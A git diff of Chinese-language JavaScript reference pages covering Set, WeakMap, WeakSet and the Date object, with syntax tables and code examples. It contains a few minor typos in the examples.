                                                                                                                            let s1 = new Set([1, 2, 3]);
                                                                                                                            s1 = new Set([...set].map(val => val * 2));
                                                                                                                            console.log(set); // Output: 2, 4, 6
                                                                                                                            // Method B
                                                                                                                            let s2 = new Set([1, 2, 3]);
                                                                                                                            s2 = new Set(Array.from(set, val => val * 2));
                                                                                                                            -
                                                                                                                            console.log(s2);
                                                                                                                            // Output: 2, 4, 6
                                                                                                                            +
                                                                                                                            console.log(s2);
                                                                                                                            // Output: 2, 4, 6
                                                                                                                            - + diff --git a/standard-built-in-objects/keyed-collections/weak-map/index.html b/standard-built-in-objects/keyed-collections/weak-map/index.html index 71a7263c6..563757c30 100644 --- a/standard-built-in-objects/keyed-collections/weak-map/index.html +++ b/standard-built-in-objects/keyed-collections/weak-map/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + WeakMap - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            WeakMap

                                                                                                                            WeakMap 对象是一组键/值对的集合,其中的键是弱引用的。其键必须是对象,而值可以是任意的。

                                                                                                                            语法

                                                                                                                            new WeakMap([iterable]);

                                                                                                                            参数 iterable 是一个数组或者其他可迭代的且元素是键值对的对象。每个键值对会被加到新的 WeakMap 里。null 会被当做 undefiend

                                                                                                                            特征

                                                                                                                            对象键名

                                                                                                                            const map = new WeakMap();
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            WeakMap

                                                                                                                            WeakMap 对象是一组键/值对的集合,其中的键是弱引用的。其键必须是对象,而值可以是任意的。

                                                                                                                            语法

                                                                                                                            new WeakMap([iterable]);

                                                                                                                            参数 iterable 是一个数组或者其他可迭代的且元素是键值对的对象。每个键值对会被加到新的 WeakMap 里。null 会被当做 undefiend

                                                                                                                            特征

                                                                                                                            对象键名

                                                                                                                            const map = new WeakMap();
                                                                                                                            map.set(1, 2);
                                                                                                                            // TypeError: Invalid value used as weak map key
                                                                                                                            map.set(null, 2);
                                                                                                                            // TypeError: Invalid value used as weak map key

                                                                                                                            弱引用对象

                                                                                                                            WeakMaps hold "weak" references to key objects

                                                                                                                            翻译过来应该是 WeakMap 保持了对键名所引用的对象的弱引用

                                                                                                                            这个弱引用的特性,就是 WeakMap 保持了对键名所引用的对象的弱引用,即 垃圾回收机制 不将该引用考虑在内。只要所引用的对象的其他引用都被清除,垃圾回收机制就会释放该对象所占用的内存。也就是说,一旦不再需要,WeakMap 里面的键名对象和所对应的键值对会自动消失,不用手动删除引用。

                                                                                                                            也正是因为这样的特性,WeakMap 内部有多少个成员,取决于垃圾回收机制有没有运行,运行前后很可能成员个数是不一样的,而垃圾回收机制何时运行是不可预测的,因此 ES6 规定 WeakMap 不可遍历。

                                                                                                                            所以 WeakMap 不像 Map,一是没有遍历操作(即没有 keys()values()entries() 方法),也没有 size 属性,也不支持 clear 方法,所以 WeakMap 只有四个方法可用:get()set()has()delete()

                                                                                                                            特征详细分析请参阅 📝 ES6 系列之 WeakMap

                                                                                                                            实例方法

                                                                                                                            方法说明
                                                                                                                            WeakMap.prototype.delete(key)移除 key 的关联对象
                                                                                                                            WeakMap.prototype.get(key)返回 key 的关联对象或 undefined
                                                                                                                            WeakMap.prototype.has(key)判定是否有指定 key 关联对象爱哪个
                                                                                                                            WeakMap.prototype.set(key)设置一组 key 关联对象

                                                                                                                            使用示例

                                                                                                                            const x = new WeakMap();
                                                                                                                            const y = new WeakMap();
                                                                                                                            const a = {};
                                                                                                                            const b = function () {};
                                                                                                                            const c = window;
                                                                                                                            @@ -38,12 +41,12 @@
                                                                                                                            y.get(b);
                                                                                                                            // undefined
                                                                                                                            y.get(c);
                                                                                                                            // undefined
                                                                                                                            x.has(b);
                                                                                                                            // true
                                                                                                                            y.has(b);
                                                                                                                            // false
                                                                                                                            y.has(c);
                                                                                                                            // true
                                                                                                                            -
                                                                                                                            // delete()
                                                                                                                            x.has(a);
                                                                                                                            // true
                                                                                                                            x.delete(a);
                                                                                                                            x.has(a);
                                                                                                                            // false

                                                                                                                            参考资料:

                                                                                                                            +
                                                                                                                            // delete()
                                                                                                                            x.has(a);
                                                                                                                            // true
                                                                                                                            x.delete(a);
                                                                                                                            x.has(a);
                                                                                                                            // false

                                                                                                                            参考资料:

                                                                                                                            - + diff --git a/standard-built-in-objects/keyed-collections/weak-set/index.html b/standard-built-in-objects/keyed-collections/weak-set/index.html index 42b7c5f6f..e86af2e16 100644 --- a/standard-built-in-objects/keyed-collections/weak-set/index.html +++ b/standard-built-in-objects/keyed-collections/weak-set/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + WeakSet - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            WeakSet

                                                                                                                            WeakSet 结构与 Set 类似,也是不重复的值的集合。但是,它与 Set 有两个区别。

                                                                                                                            WeakSet 是一个个构造函数。可以接受数组和类似数组的对象作为参数。(实际上,任何具作为 Iterable 接口的对象都可以作为 WeakSet 的参数)。该数组的所有成员都会自动成为 WeakSet 的实例对象的成员。

                                                                                                                            WeakSet 的成员只能是对象,而不能是其他类型的值。

                                                                                                                            WeakSet 中的对象都是弱作用,即垃圾回收机制不考虑 WeakSet 对该对象的引用,也就是说,如果其他对象都不再引用该对象,那么垃圾回收机制会自动回收该对象所占用的内存,不考虑对象是否还存在于 WeakSet 之中。

                                                                                                                            语法

                                                                                                                            new WeakSet();

                                                                                                                            作为构造函数,WeakSet 可以接受一个数组或类似数组的对象作为参数。实际上,任何具有 Iterable 接口的对象都可以作为 WeakSet 的参数。该数组的所有成员都会自动成为 WeakSet 实例对象的成员。

                                                                                                                            实例属性和方法

                                                                                                                            属性

                                                                                                                            WeakSet 没有 size 属性,没有办法遍历其成员。

                                                                                                                            WeakSet 不能遍历,因为成员都是弱作用,随时可能消失,遍历机制无法保证成员存在,很可能刚刚遍历结束,成员就取不到了。WeakSet 的一个用处是储存 DOM 节点,而不用担心这些节点从文档移除时引发内存泄漏。

                                                                                                                            方法

                                                                                                                            方法描述
                                                                                                                            WeakSet.prototype.add(value)向 WeakSet 实例添加一个新成员。
                                                                                                                            WeakSet.prototype.delete(value)清除 WeakSet 实例的指定此成员。
                                                                                                                            WeakSet.prototype.has(value)返回一个布尔值,表示某个值是否在 WeakSet 实例中。

                                                                                                                            示例

                                                                                                                            const a = [
                                                                                                                            [1, 2],
                                                                                                                            [3, 4],
                                                                                                                            ];
                                                                                                                            const ws = new WeakSet(a);
                                                                                                                            // WeakSet {[1, 2], [3, 4]}

                                                                                                                            上面的代码中,a 是一个数组,它有两个成员,也都是数组。将 a 作为 WeakSet 构造函数的参数,a

                                                                                                                            的成员会自动成为 WeakSet 的成员。

                                                                                                                            注意:成为 WeakSet 的成员的是 a 数组的成员,而不是 a 数组本身。这意味着,数组的成员只能是对象。

                                                                                                                            // Wrong
                                                                                                                            const b = [3, 4];
                                                                                                                            const ws = new WeakSet(b);
                                                                                                                            // Uncaught TypeError: Invalid value used in weak set(...)
                                                                                                                            // 数组b的成员不是对象,玉女祠加入 WeakSet 就会报错
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            WeakSet

                                                                                                                            WeakSet 结构与 Set 类似,也是不重复的值的集合。但是,它与 Set 有两个区别。

                                                                                                                            WeakSet 是一个个构造函数。可以接受数组和类似数组的对象作为参数。(实际上,任何具作为 Iterable 接口的对象都可以作为 WeakSet 的参数)。该数组的所有成员都会自动成为 WeakSet 的实例对象的成员。

                                                                                                                            WeakSet 的成员只能是对象,而不能是其他类型的值。

                                                                                                                            WeakSet 中的对象都是弱作用,即垃圾回收机制不考虑 WeakSet 对该对象的引用,也就是说,如果其他对象都不再引用该对象,那么垃圾回收机制会自动回收该对象所占用的内存,不考虑对象是否还存在于 WeakSet 之中。

                                                                                                                            语法

                                                                                                                            new WeakSet();

                                                                                                                            作为构造函数,WeakSet 可以接受一个数组或类似数组的对象作为参数。实际上,任何具有 Iterable 接口的对象都可以作为 WeakSet 的参数。该数组的所有成员都会自动成为 WeakSet 实例对象的成员。

                                                                                                                            实例属性和方法

                                                                                                                            属性

                                                                                                                            WeakSet 没有 size 属性,没有办法遍历其成员。

                                                                                                                            WeakSet 不能遍历,因为成员都是弱作用,随时可能消失,遍历机制无法保证成员存在,很可能刚刚遍历结束,成员就取不到了。WeakSet 的一个用处是储存 DOM 节点,而不用担心这些节点从文档移除时引发内存泄漏。

                                                                                                                            方法

                                                                                                                            方法描述
                                                                                                                            WeakSet.prototype.add(value)向 WeakSet 实例添加一个新成员。
                                                                                                                            WeakSet.prototype.delete(value)清除 WeakSet 实例的指定此成员。
                                                                                                                            WeakSet.prototype.has(value)返回一个布尔值,表示某个值是否在 WeakSet 实例中。

                                                                                                                            示例

                                                                                                                            const a = [
                                                                                                                            [1, 2],
                                                                                                                            [3, 4],
                                                                                                                            ];
                                                                                                                            const ws = new WeakSet(a);
                                                                                                                            // WeakSet {[1, 2], [3, 4]}

                                                                                                                            上面的代码中,a 是一个数组,它有两个成员,也都是数组。将 a 作为 WeakSet 构造函数的参数,a

                                                                                                                            的成员会自动成为 WeakSet 的成员。

                                                                                                                            注意:成为 WeakSet 的成员的是 a 数组的成员,而不是 a 数组本身。这意味着,数组的成员只能是对象。

                                                                                                                            // Wrong
                                                                                                                            const b = [3, 4];
                                                                                                                            const ws = new WeakSet(b);
                                                                                                                            // Uncaught TypeError: Invalid value used in weak set(...)
                                                                                                                            // 数组b的成员不是对象,玉女祠加入 WeakSet 就会报错
                                                                                                                            - + diff --git a/standard-built-in-objects/numbers-and-dates/date/index.html b/standard-built-in-objects/numbers-and-dates/date/index.html index 80a731428..45adadef3 100644 --- a/standard-built-in-objects/numbers-and-dates/date/index.html +++ b/standard-built-in-objects/numbers-and-dates/date/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Date - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Date 对象

                                                                                                                            Date 对象是 JavaScript 语言中内置的数据类型,用于提供日期和时间的操作接口。Date 对象基于 1970 年 1 月 1 日(世界标准时间)起的毫秒数。

                                                                                                                            语法

                                                                                                                            不带 new 调用

                                                                                                                            用法一:不带 new 操作符时,像一个函数一样调用。它将忽略所有传入的参数,并返回当前日期和时间的一个字符串表示

                                                                                                                            const date = Date();
                                                                                                                            console.log(date);
                                                                                                                            // 'Fri Dec 03 2021 01:13:39 GMT+0800 (China Standard Time)'

                                                                                                                            带 new 调用

                                                                                                                            用法二:使用 new 操作符,且不带参数时,将根据当前时间和日期创建一个 Date 对象。

                                                                                                                            const date = new Date();
                                                                                                                            console.log(date);
                                                                                                                            // Fri Dec 03 2021 01:13:57 GMT+0800 (China Standard Time)

                                                                                                                            数字参数

                                                                                                                            用法三:可接受一个数字参数( Number 数据类型),该参数表示设定时间与 1970 年 1 月 1 日 0 点之间的毫秒数。

                                                                                                                            new Date(value);
                                                                                                                            参数描述类型
                                                                                                                            value代表自 1970 年 1 月 1 日 00:00:00(世界标准时间)起经过的毫秒数。string

                                                                                                                            字符串参数

                                                                                                                            用法四:可接受一个字符串参数(String 数据类型),参数形式类似于 Date.parse() 方法。但 parse() 方法返回的是一个数字,而 Date() 函数返回的是一个对象。

                                                                                                                            new Date(dateString);

                                                                                                                            关于标准的日期时间字符串中前置 0 的处理,也类似于 Date.parse() 方法,若有前置 0,则相当于 UTC 时间,若没有,则相当于本地时间。其余情况一般都为本地时间。

                                                                                                                            参数描述类型
                                                                                                                            dateString表示日期的字符串值。该字符串应该能被 Date.parse() 方法识别string

                                                                                                                            Date.UTC

                                                                                                                            • 用法五:可接受参数形式类似于 Date.UTC() 方法的参数,但 Date.UTC() 方法返回是一个毫秒数,且是 UTC 时间,而 Date() 函数返回是一个对象,且是本地时间。
                                                                                                                            new Date.UTC( year, month[, day[, hour [, minutes[, seconds[, milliseconds]]]]]);

                                                                                                                            当 Date 作为构造函数调用并传入多个参数时,如果数值大于合理范围时(如月份为 13 或者分钟数为 70),相邻的数值会被调整。

                                                                                                                            比如 new Date(2013,12,1) 等于 new Date(2014,1,1),它们都表示日期 2014-01-01(注意月份是从 0 开始的)。其他数值也是类似,new Date(2013,2,1,0,70) 等于 new Date(2013,2,1,1,10),都表示时间 2013-03-01T01:10:00

                                                                                                                            参数描述类型
                                                                                                                            year代表年份的整数值。为了避免 2000 年问题最好指定 4 位数的年份;使用 1998, 而不要用 98number
                                                                                                                            month代表月份的整数值从 0(1 月)到 11(12 月)。number
                                                                                                                            day代表一个月中的第几天的整数值,从 1 开始。number
                                                                                                                            hour代表一天中的小时数的整数值(24 小时制)。number
                                                                                                                            minute分钟数。number
                                                                                                                            second秒数。number
                                                                                                                            millisecond表示时间的毫秒部分的整数值。number

                                                                                                                            说明:

                                                                                                                            • 如果没有输入任何参数,则 Date 的构造器会依据系统设置的当前时间来创建一个 Date 对象。
                                                                                                                            • 如果提供了至少两个参数,其余的参数均会默认设置为 1(如果没有提供 day 参数)或者 0
                                                                                                                            • JavaScript 的时间是由世界标准时间(UTC)1970年1月1日 开始,用毫秒计时,一天由 86,400,000 毫秒组成。Date 对象的范围是 -100,000,000 天至 100,000,000 天(等效的毫秒值)。
                                                                                                                            • JavaScript 的 Date 对象提供了数个 UTC 时间的方法,也相应提供了当地时间的方法。

                                                                                                                            UTC,也就是我们所说的格林威治时间,指的是 time 中的世界时间标准。而当地时间则是指执行 JavaScript 的客户端电脑所设置的时间。

                                                                                                                            注意:需要注意的是只能通过调用 Date 构造函数来实例化日期对象:以常规函数调用它(即不加 new 操作符)将会返回一个字符串,而不是一个日期对象。另外,不像其他 JavaScript 类型,Date 对象没有字面量格式。

                                                                                                                            构造函数

                                                                                                                            属性

                                                                                                                            属性描述
                                                                                                                            Date.prototype表示 Date 构造函数的原型,允许为 Date 实例对象添加属性方法。
                                                                                                                            Date.length值是 7,为该构造函数可接受的参数个数。

                                                                                                                            方法

                                                                                                                            方法描述
                                                                                                                            Date.now()返回自 1970年1月1日 00:00:00 UTC (世界标准时间)到当前时间的毫秒数。
                                                                                                                            Date.parse()解析一个表示某个日期的字符串,并返回从 1970-1-1 00:00:00 UTC 到该日期对象(该日期对象的 UTC 时间)的毫秒数,如果该字符串无法识别,或者一些情况下,包含了不合法的日期数值(如:2015-02-31),则返回值为 NaN
                                                                                                                            Date.UTC()接受的参数同日期构造函数接受最多参数时一样,返回从 1970-1-1 00:00:00 UTC 到指定日期的毫秒数。

                                                                                                                            原型对象

                                                                                                                            Date 对象没有可以直接读写的属性,所有对日期和时间的访问都需要通过方法。

                                                                                                                            Date 对象的大多数方法分为两种形式:

                                                                                                                            • 使用本地时间
                                                                                                                            • 使用 UTC 时间

                                                                                                                            获取指定时间

                                                                                                                            Conversion getter 类方法从 Date 对象返回一个字符串,表示指定的时间

                                                                                                                            方法说明
                                                                                                                            Date.prototype.toString()返回本地时区的日期字符串。
                                                                                                                            Date.prototype.toUTCString()返回 UTC 时间的日期字符串。
                                                                                                                            Date.prototype.toISOString()返回 Date 对象的标准的日期时间字符串格式的字符串。
                                                                                                                            Date.prototype.toDateString()返回 Date 对象的日期部分的字符串。
                                                                                                                            Date.prototype.toTimeString()返回 Date 对象的时间部分的字符串。
                                                                                                                            Date.prototype.toJSON()返回一个符合 JSON 格式的日期字符串,与 toISOString() 方法的返回结果完全相同。
                                                                                                                            Date.prototype.toLocaleString()Date.prototype.toString() 方法的本地化转换。
                                                                                                                            Date.prototype.toLocaleTimeString()Date.prototype.toTimeString() 方法的本地化转换。
                                                                                                                            Date.prototype.toLocaleDateString()Date.prototype.toDateString() 方法的本地化转换。
                                                                                                                            Date.prototype.valueOf()返回距离 1970年1月1日0点 的毫秒数。

                                                                                                                            获取指定时间值

                                                                                                                            Date 对象提供了一系列 Getter 类方法,用来获取实例对象某个方面的值。

                                                                                                                            方法说明
                                                                                                                            Date.prototype.getTime()返回距离 1970年1月1日0点 的毫秒数,同 valueOf()
                                                                                                                            Date.prototype.getTimezoneOffset()返回当前时间与 UTC 的时区差异,以分钟表示(8*60=480 分钟),返回结果考虑到了夏令时因素。
                                                                                                                            Date.prototype.get[UTC]FullYear()返回指定日期对象的年份(四位数年份时返回四位数字)。
                                                                                                                            Date.prototype.get[UTC]Month()返回指定日期对象的月份(0-11)。
                                                                                                                            Date.prototype.get[UTC]Date()返回指定日期对象的月份中的第几天(1-31)。
                                                                                                                            Date.prototype.get[UTC]Day()返回指定日期对象的星期中的第几天(0-6)。
                                                                                                                            Date.prototype.get[UTC]Hours()返回指定日期对象的小时(0-23)。
                                                                                                                            Date.prototype.get[UTC]Minutes()返回指定日期对象的分钟(0-59)。
                                                                                                                            Date.prototype.get[UTC]Seconds()返回指定日期对象的秒数(0-59)。
                                                                                                                            Date.prototype.get[UTC]Milliseconds()返回指定日期对象的微秒数(0-999)。

                                                                                                                            注意:以上方法中含 UTC 则为以世界时间为标准。

                                                                                                                            设置指定时间值

                                                                                                                            Date 对象提供了一系列 Setter 类方法,用来设置实例对象的各个方面。

                                                                                                                            Setter 方法基本与 Getter 方法相对应,Setter 方法传入类似于 Date.UTC() 的参数,返回调整后的日期的内部毫秒数。

                                                                                                                            方法说明
                                                                                                                            Date.prototype.setTime()通过指定从 1970-1-1 00:00:00 UTC 开始经过的毫秒数来设置日期对象的时间,对于早于 1970-1-1 00:00:00 UTC 的时间可使用负值。
                                                                                                                            Date.prototype.setYear()用于设置年份。请使用 Date.prototype.set[UTC]FullYear() 方法代替。
                                                                                                                            Date.prototype.set[UTC]FullYear()根据本地时间为指定日期对象设置完整年份(四位数年份是四个数字)。
                                                                                                                            Date.prototype.set[UTC]Month()根据本地时间为指定日期对象设置月份。
                                                                                                                            Date.prototype.set[UTC]Date()根据世界时设置 Date 对象中月份的一天 (1 ~ 31)。
                                                                                                                            Date.prototype.set[UTC]Hours()根据本地时间为指定日期对象设置小时数。
                                                                                                                            Date.prototype.set[UTC]Minutes()根据本地时间为指定日期对象设置分钟数。
                                                                                                                            Date.prototype.set[UTC]Seconds()根据本地时间为指定日期对象设置秒数。
                                                                                                                            Date.prototype.set[UTC]Milliseconds()根据本地时间为指定日期对象设置毫秒数。

                                                                                                                            注意:星期只能获取,不能设置。

                                                                                                                            应用示例

                                                                                                                            基本用法

                                                                                                                            普通函数调用:

                                                                                                                            Date();
                                                                                                                            // "Mon Apr 02 2018 15:00:00 GMT+0800 (中国标准时间)"
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Date 对象

                                                                                                                            Date 对象是 JavaScript 语言中内置的数据类型,用于提供日期和时间的操作接口。Date 对象基于 1970 年 1 月 1 日(世界标准时间)起的毫秒数。

                                                                                                                            语法

                                                                                                                            不带 new 调用

                                                                                                                            用法一:不带 new 操作符时,像一个函数一样调用。它将忽略所有传入的参数,并返回当前日期和时间的一个字符串表示

                                                                                                                            const date = Date();
                                                                                                                            console.log(date);
                                                                                                                            // 'Fri Dec 03 2021 01:13:39 GMT+0800 (China Standard Time)'

                                                                                                                            带 new 调用

                                                                                                                            用法二:使用 new 操作符,且不带参数时,将根据当前时间和日期创建一个 Date 对象。

                                                                                                                            const date = new Date();
                                                                                                                            console.log(date);
                                                                                                                            // Fri Dec 03 2021 01:13:57 GMT+0800 (China Standard Time)

                                                                                                                            数字参数

                                                                                                                            用法三:可接受一个数字参数( Number 数据类型),该参数表示设定时间与 1970 年 1 月 1 日 0 点之间的毫秒数。

                                                                                                                            new Date(value);
                                                                                                                            参数描述类型
                                                                                                                            value代表自 1970 年 1 月 1 日 00:00:00(世界标准时间)起经过的毫秒数。string

                                                                                                                            字符串参数

                                                                                                                            用法四:可接受一个字符串参数(String 数据类型),参数形式类似于 Date.parse() 方法。但 parse() 方法返回的是一个数字,而 Date() 函数返回的是一个对象。

                                                                                                                            new Date(dateString);

                                                                                                                            关于标准的日期时间字符串中前置 0 的处理,也类似于 Date.parse() 方法,若有前置 0,则相当于 UTC 时间,若没有,则相当于本地时间。其余情况一般都为本地时间。

                                                                                                                            参数描述类型
                                                                                                                            dateString表示日期的字符串值。该字符串应该能被 Date.parse() 方法识别string

                                                                                                                            Date.UTC

                                                                                                                            • 用法五:可接受参数形式类似于 Date.UTC() 方法的参数,但 Date.UTC() 方法返回是一个毫秒数,且是 UTC 时间,而 Date() 函数返回是一个对象,且是本地时间。
                                                                                                                            new Date.UTC( year, month[, day[, hour [, minutes[, seconds[, milliseconds]]]]]);

                                                                                                                            当 Date 作为构造函数调用并传入多个参数时,如果数值大于合理范围时(如月份为 13 或者分钟数为 70),相邻的数值会被调整。

                                                                                                                            比如 new Date(2013,12,1) 等于 new Date(2014,1,1),它们都表示日期 2014-01-01(注意月份是从 0 开始的)。其他数值也是类似,new Date(2013,2,1,0,70) 等于 new Date(2013,2,1,1,10),都表示时间 2013-03-01T01:10:00

                                                                                                                            参数描述类型
                                                                                                                            year代表年份的整数值。为了避免 2000 年问题最好指定 4 位数的年份;使用 1998, 而不要用 98number
                                                                                                                            month代表月份的整数值从 0(1 月)到 11(12 月)。number
                                                                                                                            day代表一个月中的第几天的整数值,从 1 开始。number
                                                                                                                            hour代表一天中的小时数的整数值(24 小时制)。number
                                                                                                                            minute分钟数。number
                                                                                                                            second秒数。number
                                                                                                                            millisecond表示时间的毫秒部分的整数值。number

                                                                                                                            说明:

                                                                                                                            • 如果没有输入任何参数,则 Date 的构造器会依据系统设置的当前时间来创建一个 Date 对象。
                                                                                                                            • 如果提供了至少两个参数,其余的参数均会默认设置为 1(如果没有提供 day 参数)或者 0
                                                                                                                            • JavaScript 的时间是由世界标准时间(UTC)1970年1月1日 开始,用毫秒计时,一天由 86,400,000 毫秒组成。Date 对象的范围是 -100,000,000 天至 100,000,000 天(等效的毫秒值)。
                                                                                                                            • JavaScript 的 Date 对象提供了数个 UTC 时间的方法,也相应提供了当地时间的方法。

                                                                                                                            UTC,也就是我们所说的格林威治时间,指的是 time 中的世界时间标准。而当地时间则是指执行 JavaScript 的客户端电脑所设置的时间。

                                                                                                                            注意:需要注意的是只能通过调用 Date 构造函数来实例化日期对象:以常规函数调用它(即不加 new 操作符)将会返回一个字符串,而不是一个日期对象。另外,不像其他 JavaScript 类型,Date 对象没有字面量格式。

                                                                                                                            构造函数

                                                                                                                            属性

                                                                                                                            属性描述
                                                                                                                            Date.prototype表示 Date 构造函数的原型,允许为 Date 实例对象添加属性方法。
                                                                                                                            Date.length值是 7,为该构造函数可接受的参数个数。

                                                                                                                            方法

                                                                                                                            方法描述
                                                                                                                            Date.now()返回自 1970年1月1日 00:00:00 UTC (世界标准时间)到当前时间的毫秒数。
                                                                                                                            Date.parse()解析一个表示某个日期的字符串,并返回从 1970-1-1 00:00:00 UTC 到该日期对象(该日期对象的 UTC 时间)的毫秒数,如果该字符串无法识别,或者一些情况下,包含了不合法的日期数值(如:2015-02-31),则返回值为 NaN
                                                                                                                            Date.UTC()接受的参数同日期构造函数接受最多参数时一样,返回从 1970-1-1 00:00:00 UTC 到指定日期的毫秒数。

                                                                                                                            原型对象

                                                                                                                            Date 对象没有可以直接读写的属性,所有对日期和时间的访问都需要通过方法。

                                                                                                                            Date 对象的大多数方法分为两种形式:

                                                                                                                            • 使用本地时间
                                                                                                                            • 使用 UTC 时间

                                                                                                                            获取指定时间

                                                                                                                            Conversion getter 类方法从 Date 对象返回一个字符串,表示指定的时间

                                                                                                                            方法说明
                                                                                                                            Date.prototype.toString()返回本地时区的日期字符串。
                                                                                                                            Date.prototype.toUTCString()返回 UTC 时间的日期字符串。
                                                                                                                            Date.prototype.toISOString()返回 Date 对象的标准的日期时间字符串格式的字符串。
                                                                                                                            Date.prototype.toDateString()返回 Date 对象的日期部分的字符串。
                                                                                                                            Date.prototype.toTimeString()返回 Date 对象的时间部分的字符串。
                                                                                                                            Date.prototype.toJSON()返回一个符合 JSON 格式的日期字符串,与 toISOString() 方法的返回结果完全相同。
                                                                                                                            Date.prototype.toLocaleString()Date.prototype.toString() 方法的本地化转换。
                                                                                                                            Date.prototype.toLocaleTimeString()Date.prototype.toTimeString() 方法的本地化转换。
                                                                                                                            Date.prototype.toLocaleDateString()Date.prototype.toDateString() 方法的本地化转换。
                                                                                                                            Date.prototype.valueOf()返回距离 1970年1月1日0点 的毫秒数。

                                                                                                                            获取指定时间值

                                                                                                                            Date 对象提供了一系列 Getter 类方法,用来获取实例对象某个方面的值。

                                                                                                                            方法说明
                                                                                                                            Date.prototype.getTime()返回距离 1970年1月1日0点 的毫秒数,同 valueOf()
                                                                                                                            Date.prototype.getTimezoneOffset()返回当前时间与 UTC 的时区差异,以分钟表示(8*60=480 分钟),返回结果考虑到了夏令时因素。
                                                                                                                            Date.prototype.get[UTC]FullYear()返回指定日期对象的年份(四位数年份时返回四位数字)。
                                                                                                                            Date.prototype.get[UTC]Month()返回指定日期对象的月份(0-11)。
                                                                                                                            Date.prototype.get[UTC]Date()返回指定日期对象的月份中的第几天(1-31)。
                                                                                                                            Date.prototype.get[UTC]Day()返回指定日期对象的星期中的第几天(0-6)。
                                                                                                                            Date.prototype.get[UTC]Hours()返回指定日期对象的小时(0-23)。
                                                                                                                            Date.prototype.get[UTC]Minutes()返回指定日期对象的分钟(0-59)。
                                                                                                                            Date.prototype.get[UTC]Seconds()返回指定日期对象的秒数(0-59)。
                                                                                                                            Date.prototype.get[UTC]Milliseconds()返回指定日期对象的微秒数(0-999)。

                                                                                                                            注意:以上方法中含 UTC 则为以世界时间为标准。

                                                                                                                            设置指定时间值

                                                                                                                            Date 对象提供了一系列 Setter 类方法,用来设置实例对象的各个方面。

                                                                                                                            Setter 方法基本与 Getter 方法相对应,Setter 方法传入类似于 Date.UTC() 的参数,返回调整后的日期的内部毫秒数。

                                                                                                                            方法说明
                                                                                                                            Date.prototype.setTime()通过指定从 1970-1-1 00:00:00 UTC 开始经过的毫秒数来设置日期对象的时间,对于早于 1970-1-1 00:00:00 UTC 的时间可使用负值。
                                                                                                                            Date.prototype.setYear()用于设置年份。请使用 Date.prototype.set[UTC]FullYear() 方法代替。
                                                                                                                            Date.prototype.set[UTC]FullYear()根据本地时间为指定日期对象设置完整年份(四位数年份是四个数字)。
                                                                                                                            Date.prototype.set[UTC]Month()根据本地时间为指定日期对象设置月份。
                                                                                                                            Date.prototype.set[UTC]Date()根据世界时设置 Date 对象中月份的一天 (1 ~ 31)。
                                                                                                                            Date.prototype.set[UTC]Hours()根据本地时间为指定日期对象设置小时数。
                                                                                                                            Date.prototype.set[UTC]Minutes()根据本地时间为指定日期对象设置分钟数。
                                                                                                                            Date.prototype.set[UTC]Seconds()根据本地时间为指定日期对象设置秒数。
                                                                                                                            Date.prototype.set[UTC]Milliseconds()根据本地时间为指定日期对象设置毫秒数。

                                                                                                                            注意:星期只能获取,不能设置。

                                                                                                                            应用示例

                                                                                                                            基本用法

                                                                                                                            普通函数调用:

                                                                                                                            Date();
                                                                                                                            // "Mon Apr 02 2018 15:00:00 GMT+0800 (中国标准时间)"
                                                                                                                            Date('2018/4/2');
                                                                                                                            // "Mon Apr 02 2018 15:00:00 GMT+0800 (中国标准时间)"
                                                                                                                            typeof Date();
                                                                                                                            // 'string'

                                                                                                                            不带参数的构造函数:

                                                                                                                            new Date();
                                                                                                                            // Mon Apr 02 2018 15:00:00 GMT+0800 (中国标准时间)
                                                                                                                            new Date();
                                                                                                                            // Mon Apr 02 2018 15:00:00 GMT+0800 (中国标准时间)
                                                                                                                            typeof new Date();
                                                                                                                            // 'object'

                                                                                                                            带数字参数的构造函数:

                                                                                                                            new Date(0);
                                                                                                                            // Thu Jan 01 1970 08:00:00 GMT+0800 (中国标准时间)
                                                                                                                            new Date(86400000);
                                                                                                                            // Fri Jan 02 1970 08:00:00 GMT+0800 (中国标准时间)
                                                                                                                            typeof new Date(0);
                                                                                                                            // "object"

                                                                                                                            带字符串参数的构造函数:

                                                                                                                            new Date('4/2/2018');
                                                                                                                            // Mon Apr 02 2018 00:00:00 GMT+0800 (中国标准时间)
                                                                                                                            Date.parse('4/2/2018');
                                                                                                                            // 1522598400000
                                                                                                                            typeof new Date(4 / 2 / 2018);
                                                                                                                            // "object"
                                                                                                                            typeof Date.parse(4 / 2 / 2018);
                                                                                                                            // "number"

                                                                                                                            关于标准的日期时间字符串中前置 0 的处理,也类似于 Date.parse() 方法,若有前置 0,则相当于 UTC 时间,若没有,则相当于本地时间。其余情况一般都为本地时间。

                                                                                                                            new Date('04/02/2018');
                                                                                                                            // Mon Apr 02 2018 00:00:00 GMT+0800 (中国标准时间)
                                                                                                                            new Date('2018-4-2');
                                                                                                                            // Mon Apr 02 2018 00:00:00 GMT+0800 (中国标准时间)
                                                                                                                            new Date('2018-04-02');
                                                                                                                            // Mon Apr 02 2018 00:00:00 GMT+0800 (中国标准时间)

                                                                                                                            带 UTC 参数的构造函数:

                                                                                                                            new Date(2016, 7, 12);
                                                                                                                            // Fri Aug 12 2016 00:00:00 GMT+0800 (中国标准时间)
                                                                                                                            +new Date(2016, 7, 12);
                                                                                                                            // 1470931200000
                                                                                                                            typeof new Date(2016, 7, 12);
                                                                                                                            // "object"
                                                                                                                            -
                                                                                                                            Date.UTC(2016, 7, 12);
                                                                                                                            // 1470960000000
                                                                                                                            typeof Date.UTC(2016, 7, 12);
                                                                                                                            // "number"
